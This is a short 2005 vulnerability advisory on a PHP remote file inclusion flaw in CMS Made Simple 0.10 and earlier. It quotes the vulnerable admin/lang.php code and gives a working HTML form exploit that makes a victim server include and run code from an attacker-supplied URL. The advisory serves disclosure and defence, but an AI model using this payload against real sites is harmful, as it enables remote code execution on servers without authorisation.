CMS Made Simple <= 0.10 - PHP injection

[groszynskif () gmail com]

   -- == -- == -- == -- == -- == -- == -- == -- == -- == --
   Name: CMS Made Simple - PHP injection 
   Version <= 0.10
   Homepage: http://www.cmsmadesimple.org/

   Author: Filip Groszynski (VXSfx)
   Date: 31 August 2005
   -- == -- == -- == -- == -- == -- == -- == -- == -- == --

   Background:

        CMS Made Simple is an easy to use content managment
   system for simple stable content site. Uses PHP, MySQL
   and Smarty templating system.

   --------------------------------------------------------
   
   Vulnerable code exist in ./admin/lang.php:

   <?php
        ...
        $current_language = "en_US";
        #Only do language stuff for admin pages
[!]     if (isset($CMS_ADMIN_PAGE)) {
                ...
                #Check to see if there is already a language in use...
                if (isset($_POST["change_cms_lang"])) {
[!]                     $current_language = $_POST["change_cms_lang"];
                        setcookie("cms_language", $_POST["change_cms_lang"]);
                } else if (isset($_COOKIE["cms_language"])) {
                        $current_language = $_COOKIE["cms_language"];
                }
                else {
                        ...
                }

                #Ok, we have a language to load, let's load it already...
                if (isset($nls['file'][$current_language])) {
                        foreach ($nls['file'][$current_language] as $onefile) {
[!]                             include($onefile);
                        }
                }
                ...
        }
        ...
   ?>
   --------------------------------------------------------

   Exploit:

        example.html:
          <form action="http://(__VICTIM__)/admin/lang.php?CMS_ADMIN_PAGE=1&nls[file][vx][vxsfx]=(__URL__)" method=post>
          <input type=hidden name=change_cms_lang value=vx>
          <input type=submit name=test VALUE="do it">
          </form>
        EOF

   --------------------------------------------------------

   Contact:

       Author: Filip Groszynski (VXSfx)
       Location: Poland <Warsaw>
       Email: groszynskif <|> gmail <|> com

   -- == -- == -- == -- == -- == -- == -- == -- == -- == --